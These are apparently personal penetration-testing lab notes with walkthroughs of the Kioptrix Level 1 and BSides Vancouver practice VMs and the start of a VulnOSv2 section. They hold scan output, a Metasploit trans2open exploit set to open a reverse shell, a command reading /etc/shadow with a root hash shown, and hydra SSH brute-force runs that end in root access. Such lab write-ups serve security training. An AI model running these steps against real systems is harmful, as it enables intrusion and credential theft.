Kioptrix Level 1

Monday, August 1, 2022

11:08 PM

SCAN HOST:

sudo netdiscover -r 192.168.1.0/24

arp-scan -l

SCAN PORT:

nmap -A 192.168.1.4

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-01 05:14 EDT

Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 16.67% done; ETC: 05:15 (0:00:30 remaining)

Nmap scan report for 192.168.1.4

Host is up (0.0020s latency).

Not shown: 994 closed tcp ports (reset)

PORT         STATE SERVICE         VERSION

22/tcp        open ssh         OpenSSH 2.9p2 (protocol 1.99)

|\_sshv1: Server supports SSHv1

| ssh-hostkey:

| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)

| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)

|\_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)

80/tcp open http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b)

|\_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b

|\_http-title: Test Page for the Apache Web Server on Red Hat Linux

| http-methods:

|\_ Potentially risky methods: TRACE

111/tcp open rpcbind         2 (RPC #100000)

| rpcinfo:

| program version        port/proto service

| 100000 2         111/tcp rpcbind

| 100000 2         111/udp rpcbind

| 100024 1          32768/tcp status

|\_ 100024 1         32768/udp status

139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b

|\_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Not valid before: 2009-09-26T09:32:06

|\_Not valid after: 2010-09-26T09:32:06

|\_ssl-date: 2022-08-01T13:14:50+00:00; +3h59m58s from scanner time.

| sslv2:

| SSLv2 supported

| ciphers:

|         SSL2\_RC2\_128\_CBC\_EXPORT40\_WITH\_MD5

|         SSL2\_RC4\_128\_EXPORT40\_WITH\_MD5

|         SSL2\_RC4\_64\_WITH\_MD5

|         SSL2\_DES\_64\_CBC\_WITH\_MD5

|         SSL2\_RC2\_128\_CBC\_WITH\_MD5

|         SSL2\_DES\_192\_EDE3\_CBC\_WITH\_MD5

|\_        SSL2\_RC4\_128\_WITH\_MD5

|\_http-title: 400 Bad Request

32768/tcp open status         1 (RPC #100024)

MAC Address: 08:00:27:60:13:70 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 2.4.X

OS CPE: cpe:/o:linux:linux\_kernel:2.4

OS details: Linux 2.4.9 - 2.4.18 (likely embedded)

Network Distance: 1 hop

Host script results:

|\_clock-skew: 3h59m57s

|\_smb2-time: Protocol negotiation failed (SMB2)

|\_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE

HOP RTT         ADDRESS

1 2.04 ms 192.168.1.4

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 20.38 seconds

enum4linux -a 192.168.1.4

Starting enum4linux v0.9.1 ( <http://labs.portcullis.co.uk/application/enum4linux/> ) on Mon Aug 1 04:53:00 2022

=========================================( Target Information )=========================================

Target ........... 192.168.1.4

RID Range ........ 500-550,1000-1050

Username ......... ''

Password ......... ''

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

============================( Enumerating Workgroup/Domain on 192.168.1.4 )============================

[+] Got domain/workgroup name: MYGROUP

================================( Nbtstat Information for 192.168.1.4 )================================

Looking up status of 192.168.1.4

        KIOPTRIX         <00> -         B <ACTIVE> Workstation Service

        KIOPTRIX         <03> -         B <ACTIVE> Messenger Service

        KIOPTRIX         <20> -         B <ACTIVE> File Server Service

        MYGROUP         <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name

        MYGROUP         <1e> - <GROUP> B <ACTIVE> Browser Service Elections

        MAC Address = 00-00-00-00-00-00

====================================( Session Check on 192.168.1.4 )====================================

[+] Server 192.168.1.4 allows sessions using username '', password ''

=================================( Getting domain SID for 192.168.1.4 )=================================

Domain Name: MYGROUP

Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

===================================( OS information on 192.168.1.4 )===================================

[E] Can't get OS info with smbclient

[+] Got OS info for 192.168.1.4 from srvinfo:

KIOPTRIX         Wk Sv PrQ Unx NT SNT Samba Server

platform\_id         :         500

        os version         :         4.5

        server type         :         0x9a03

========================================( Users on 192.168.1.4 )========================================

Use of uninitialized value $users in print at ./enum4linux.pl line 972.

Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.

Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

==================================( Share Enumeration on 192.168.1.4 )==================================

Sharename         Type         Comment

        ---------         ----         -------

        IPC$         IPC         IPC Service (Samba Server)

        ADMIN$         IPC         IPC Service (Samba Server)

Reconnecting with SMB1 for workgroup listing.

        Server         Comment

        ---------         -------

        KIOPTRIX         Samba Server

        Workgroup         Master

        ---------         -------

        MYGROUP

[+] Attempting to map shares on 192.168.1.4

[E] Can't understand response:

NT\_STATUS\_NETWORK\_ACCESS\_DENIED listing \\*

//192.168.1.4/IPC$         Mapping: N/A Listing: N/A Writing: N/A

[E] Can't understand response:

tree connect failed: NT\_STATUS\_WRONG\_PASSWORD

//192.168.1.4/ADMIN$        Mapping: N/A Listing: N/A Writing: N/A

============================( Password Policy Information for 192.168.1.4 )============================

[E] Unexpected error from polenum:

[+] Attaching to 192.168.1.4 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: SMB SessionError: 0x5

[+] Trying protocol 445/SMB...

        [!] Protocol failed: [Errno Connection error (192.168.1.4:445)] [Errno 111] Connection refused

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled

Minimum Password Length: 0

=======================================( Groups on 192.168.1.4 )=======================================

[+] Getting builtin groups:

group:[Administrators] rid:[0x220]

group:[Users] rid:[0x221]

group:[Guests] rid:[0x222]

group:[Power Users] rid:[0x223]

group:[Account Operators] rid:[0x224]

group:[System Operators] rid:[0x225]

group:[Print Operators] rid:[0x226]

group:[Backup Operators] rid:[0x227]

group:[Replicator] rid:[0x228]

[+] Getting builtin group memberships:

Group: Backup Operators' (RID: 551) has member: Couldn't find group Backup Operators

Group: Guests' (RID: 546) has member: Couldn't find group Guests

Group: Power Users' (RID: 547) has member: Couldn't find group Power Users

Group: Administrators' (RID: 544) has member: Couldn't find group Administrators

Group: Replicator' (RID: 552) has member: Couldn't find group Replicator

Group: Print Operators' (RID: 550) has member: Couldn't find group Print Operators

Group: Users' (RID: 545) has member: Couldn't find group Users

Group: System Operators' (RID: 549) has member: Couldn't find group System Operators

Group: Account Operators' (RID: 548) has member: Couldn't find group Account Operators

[+] Getting local groups:

group:[sys] rid:[0x3ef]

group:[tty] rid:[0x3f3]

group:[disk] rid:[0x3f5]

group:[mem] rid:[0x3f9]

group:[kmem] rid:[0x3fb]

group:[wheel] rid:[0x3fd]

group:[man] rid:[0x407]

group:[dip] rid:[0x439]

group:[lock] rid:[0x455]

group:[users] rid:[0x4b1]

group:[slocate] rid:[0x413]

group:[floppy] rid:[0x40f]

group:[utmp] rid:[0x415]

[+] Getting local group memberships:

[+] Getting domain groups:

group:[Domain Admins] rid:[0x200]

group:[Domain Users] rid:[0x201]

[+] Getting domain group memberships:

Group: 'Domain Admins' (RID: 512) has member: Couldn't find group Domain Admins

Group: 'Domain Users' (RID: 513) has member: Couldn't find group Domain Users

===================( Users on 192.168.1.4 via RID cycling (RIDS: 500-550,1000-1050) )===================

[I] Found new SID:

S-1-5-21-4157223341-3243572438-1405127623

[+] Enumerating users using SID S-1-5-21-4157223341-3243572438-1405127623 and logon username '', password ''

S-1-5-21-4157223341-3243572438-1405127623-502 KIOPTRIX\unix\_group.2147483399 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-503 KIOPTRIX\unix\_group.2147483399 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-504 KIOPTRIX\unix\_group.2147483400 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-505 KIOPTRIX\unix\_group.2147483400 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-506 KIOPTRIX\unix\_group.2147483401 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-507 KIOPTRIX\unix\_group.2147483401 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-508 KIOPTRIX\unix\_group.2147483402 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-509 KIOPTRIX\unix\_group.2147483402 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-510 KIOPTRIX\unix\_group.2147483403 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-511 KIOPTRIX\unix\_group.2147483403 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-512 KIOPTRIX\Domain Admins (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-513 KIOPTRIX\Domain Users (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-514 KIOPTRIX\Domain Guests (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-515 KIOPTRIX\unix\_group.2147483405 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-516 KIOPTRIX\unix\_group.2147483406 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-517 KIOPTRIX\unix\_group.2147483406 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-518 KIOPTRIX\unix\_group.2147483407 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-519 KIOPTRIX\unix\_group.2147483407 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-520 KIOPTRIX\unix\_group.2147483408 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-521 KIOPTRIX\unix\_group.2147483408 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-522 KIOPTRIX\unix\_group.2147483409 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-523 KIOPTRIX\unix\_group.2147483409 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-524 KIOPTRIX\unix\_group.2147483410 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-525 KIOPTRIX\unix\_group.2147483410 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-526 KIOPTRIX\unix\_group.2147483411 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-527 KIOPTRIX\unix\_group.2147483411 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-528 KIOPTRIX\unix\_group.2147483412 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-529 KIOPTRIX\unix\_group.2147483412 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-530 KIOPTRIX\unix\_group.2147483413 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-531 KIOPTRIX\unix\_group.2147483413 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-532 KIOPTRIX\unix\_group.2147483414 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-533 KIOPTRIX\unix\_group.2147483414 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-534 KIOPTRIX\unix\_group.2147483415 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-535 KIOPTRIX\unix\_group.2147483415 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-536 KIOPTRIX\unix\_group.2147483416 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-537 KIOPTRIX\unix\_group.2147483416 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-538 KIOPTRIX\unix\_group.2147483417 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-539 KIOPTRIX\unix\_group.2147483417 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-540 KIOPTRIX\unix\_group.2147483418 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-541 KIOPTRIX\unix\_group.2147483418 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-542 KIOPTRIX\unix\_group.2147483419 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-543 KIOPTRIX\unix\_group.2147483419 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-544 KIOPTRIX\unix\_group.2147483420 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-545 KIOPTRIX\unix\_group.2147483420 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-546 KIOPTRIX\unix\_group.2147483421 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-547 KIOPTRIX\unix\_group.2147483421 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-548 KIOPTRIX\unix\_group.2147483422 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-549 KIOPTRIX\unix\_group.2147483422 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-550 KIOPTRIX\unix\_group.2147483423 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1000 KIOPTRIX\root (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1001 KIOPTRIX\root (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1002 KIOPTRIX\bin (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1003 KIOPTRIX\bin (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1004 KIOPTRIX\daemon (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1005 KIOPTRIX\daemon (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1006 KIOPTRIX\adm (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1007 KIOPTRIX\sys (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1008 KIOPTRIX\lp (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1009 KIOPTRIX\adm (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1010 KIOPTRIX\sync (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1011 KIOPTRIX\tty (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1012 KIOPTRIX\shutdown (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1013 KIOPTRIX\disk (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1014 KIOPTRIX\halt (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1015 KIOPTRIX\lp (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1016 KIOPTRIX\mail (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1017 KIOPTRIX\mem (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1018 KIOPTRIX\news (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1019 KIOPTRIX\kmem (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1020 KIOPTRIX\uucp (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1021 KIOPTRIX\wheel (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1022 KIOPTRIX\operator (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1023 KIOPTRIX\unix\_group.11 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1024 KIOPTRIX\games (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1025 KIOPTRIX\mail (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1026 KIOPTRIX\gopher (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1027 KIOPTRIX\news (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1028 KIOPTRIX\ftp (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1029 KIOPTRIX\uucp (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1030 KIOPTRIX\unix\_user.15 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1031 KIOPTRIX\man (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1032 KIOPTRIX\unix\_user.16 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1033 KIOPTRIX\unix\_group.16 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1034 KIOPTRIX\unix\_user.17 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1035 KIOPTRIX\unix\_group.17 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1036 KIOPTRIX\unix\_user.18 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1037 KIOPTRIX\unix\_group.18 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1038 KIOPTRIX\unix\_user.19 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1039 KIOPTRIX\floppy (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1040 KIOPTRIX\unix\_user.20 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1041 KIOPTRIX\games (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1042 KIOPTRIX\unix\_user.21 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1043 KIOPTRIX\slocate (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1044 KIOPTRIX\unix\_user.22 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1045 KIOPTRIX\utmp (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1046 KIOPTRIX\squid (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1047 KIOPTRIX\squid (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1048 KIOPTRIX\unix\_user.24 (Local User)

S-1-5-21-4157223341-3243572438-1405127623-1049 KIOPTRIX\unix\_group.24 (Local Group)

S-1-5-21-4157223341-3243572438-1405127623-1050 KIOPTRIX\unix\_user.25 (Local User)

================================( Getting printer info for 192.168.1.4 )================================

No printers returned.

enum4linux complete on Mon Aug 1 04:53:08 2022

nikto -h <http://192.168.1.4/>

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP:         192.168.1.4

+ Target Hostname:        192.168.1.4

+ Target Port:         80

+ Start Time:         2022-08-01 05:14:12 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b

+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ mod\_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)

+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.

+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header

+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.

+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.

+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod\_rewrite and mod\_cgi. CAN-2003-0542.

+ mod\_ssl/2.8.4 - mod\_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082>, OSVDB-756.

+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.

+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).

+ OSVDB-3268: /manual/: Directory indexing found.

+ OSVDB-3092: /manual/: Web server manual found.

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ OSVDB-3092: /test.php: This might be interesting...

+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.

+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.

+ /shell?cat+/etc/hosts: A backdoor was identified.

+ 8724 requests: 0 error(s) and 30 item(s) reported on remote host

+ End Time:         2022-08-01 05:14:52 (GMT-4) (40 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

SMB ENUM:

msf6 > search smb\_version

Matching Modules

================

# Name         Disclosure Date Rank        Check Description

- ----         --------------- ----        ----- -----------

0 auxiliary/scanner/smb/smb\_version normal No         SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb\_version

msf6 > use 0

msf6 auxiliary(scanner/smb/smb\_version) > set RHOSTS 192.168.1.4

RHOSTS => 192.168.1.4

msf6 auxiliary(scanner/smb/smb\_version) > run

[\*] 192.168.1.4:139         - SMB Detected (versions:) (preferred dialect:) (signatures:optional)

[\*] 192.168.1.4:139         - Host could not be identified: Unix (Samba 2.2.1a)

[\*] 192.168.1.4:          - Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

smbclient -L [\\\\192.168.1.4\\](file://192.168.1.4/)

Server does not support EXTENDED\_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set

Anonymous login successful

Password for [WORKGROUP\kali]:

        Sharename         Type         Comment

        ---------         ----         -------

        IPC$         IPC         IPC Service (Samba Server)

        ADMIN$         IPC         IPC Service (Samba Server)

smbclient [\\\\192.168.1.4\\IPC$](file://192.168.1.4/IPC$)

Password for [WORKGROUP\kali]:

Server does not support EXTENDED\_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set

Anonymous login successful

Try "help" to get a list of possible commands.

smb: \> ls

NT\_STATUS\_NETWORK\_ACCESS\_DENIED listing \\*

Exploit

msf exploit(linux/samba/trans2open) > set RHOST192.168.1.14

msf exploit(linux/samba/trans2open) > set payload linux/x86/shell\_reverse\_tcp

msf exploit(linux/samba/trans2open) > set lhost 192.168.1.6

msf exploit(linux/samba/trans2open) > exploit

manual exploit: openluck

cat /etc/shadow

root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::

Crack password:

hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt ssh://192.168.1.4:22 -t 4 -V

or use ssh\_login in msf

BSides Vancouver

Tuesday, August 2, 2022

3:17 AM

sudo nmap -sS 192.168.1.0/24

[sudo] password for kali:

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-03 05:18 EDT

Nmap scan report for 192.168.1.1

Host is up (0.00059s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE

53/tcp open domain

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.1.2

Host is up (0.0034s latency).

Not shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

445/tcp open microsoft-ds

1025/tcp open NFS-or-IIS

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.1.3

Host is up (0.00022s latency).

All 1000 scanned ports on 192.168.1.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:22:25:53 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.12

Host is up (0.00042s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

MAC Address: 08:00:27:F1:E5:AE (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.6

Host is up (0.0000030s latency).

All 1000 scanned ports on 192.168.1.6 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (5 hosts up) scanned in 11.71 seconds

???(kali?kali)-[~]

??$

???(kali?kali)-[~]

??$ ftp 192.168.1.12

Connected to 192.168.1.12.

220 (vsFTPd 2.3.5)

Name (192.168.1.12:kali): anonymous

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

229 Entering Extended Passive Mode (|||51753|).

150 Here comes the directory listing.

drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public

226 Directory send OK.

ftp> cd public

250 Directory successfully changed.

ftp> ls

229 Entering Extended Passive Mode (|||14397|).

150 Here comes the directory listing.

-rw-r--r-- 1 0 0 31 Mar 03 2018 users.txt.bk

226 Directory send OK.

ftp> get users.txt.bk

local: users.txt.bk remote: users.txt.bk

229 Entering Extended Passive Mode (|||26448|).

150 Opening BINARY mode data connection for users.txt.bk (31 bytes).

100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*| 31 5.07 KiB/s 00:00 ETA

226 Transfer complete.

31 bytes received in 00:00 (4.17 KiB/s)

cat users.txt.bk

abatchy

john

mai

anne

doomguy

hydra -t 5 -V -f -l anne -P /usr/share/wordlists/rockyou.txt 192.168.1.12 ssh

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2022-08-03 05:51:25

[DATA] max 5 tasks per 1 server, overall 5 tasks, 14344399 login tries (l:1/p:14344399), ~2868880 tries per task

[DATA] attacking ssh://192.168.1.12:22/

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "123456" - 1 of 14344399 [child 0] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "12345" - 2 of 14344399 [child 1] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "123456789" - 3 of 14344399 [child 2] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "password" - 4 of 14344399 [child 3] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "princess" - 6 of 14344399 [child 1] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "1234567" - 7 of 14344399 [child 3] (0/0)

[22][ssh] host: 192.168.1.12 login: anne password: princess

[STATUS] attack finished for 192.168.1.12 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2022-08-03 05:51:39

ssh [anne@192.168.1.12](mailto:anne@192.168.1.12)

The authenticity of host '192.168.1.12 (192.168.1.12)' can't be established.

ECDSA key fingerprint is SHA256:FhT9tr50Ps28yBw38pBWN+YEx5wCU/d8o1Ih22W4fyQ.

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.1.12' (ECDSA) to the list of known hosts.

[anne@192.168.1.12's password:](mailto:anne@192.168.1.12's)

Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

\* Documentation: <https://help.ubuntu.com/>

382 packages can be updated.

275 updates are security updates.

New release '14.04.5 LTS' available.

Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Mar 4 16:14:55 2018 from 192.168.1.68

anne@bsides2018:~$ whoami

anne

anne@bsides2018:~$ pwd

/home/anne

anne@bsides2018:~$ ls

anne@bsides2018:~$ ls -la

total 12

drwxr-xr-x 3 anne anne 4096 Aug 3 02:51 .

drwxr-xr-x 7 root root 4096 Mar 4 2018 ..

drwx------ 2 anne anne 4096 Aug 3 02:51 .cache

anne@bsides2018:~$ sudo su

[sudo] password for anne:

root@bsides2018:/home/anne# ls

root@bsides2018:/home/anne# pwd

/home/anne

root@bsides2018:/home/anne# cd /root

root@bsides2018:~# ls

flag.txt

root@bsides2018:~# cat flag.txt

Congratulations!

VulnOSv2

Thursday, August 4, 2022

9:13 PM

sudo netdiscover -r 192.168.1.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

IP At MAC Address Count Len MAC Vendor / Hostname

-----------------------------------------------------------------------------

192.168.1.1 52:54:00:12:35:00 1 60 Unknown vendor

192.168.1.2 52:54:00:12:35:00 1 60 Unknown vendor

192.168.1.3 08:00:27:98:be:d4 1 60 PCS Systemtechnik GmbH

192.168.1.13 08:00:27:57:4f:aa 1 60 PCS Systemtechnik GmbH

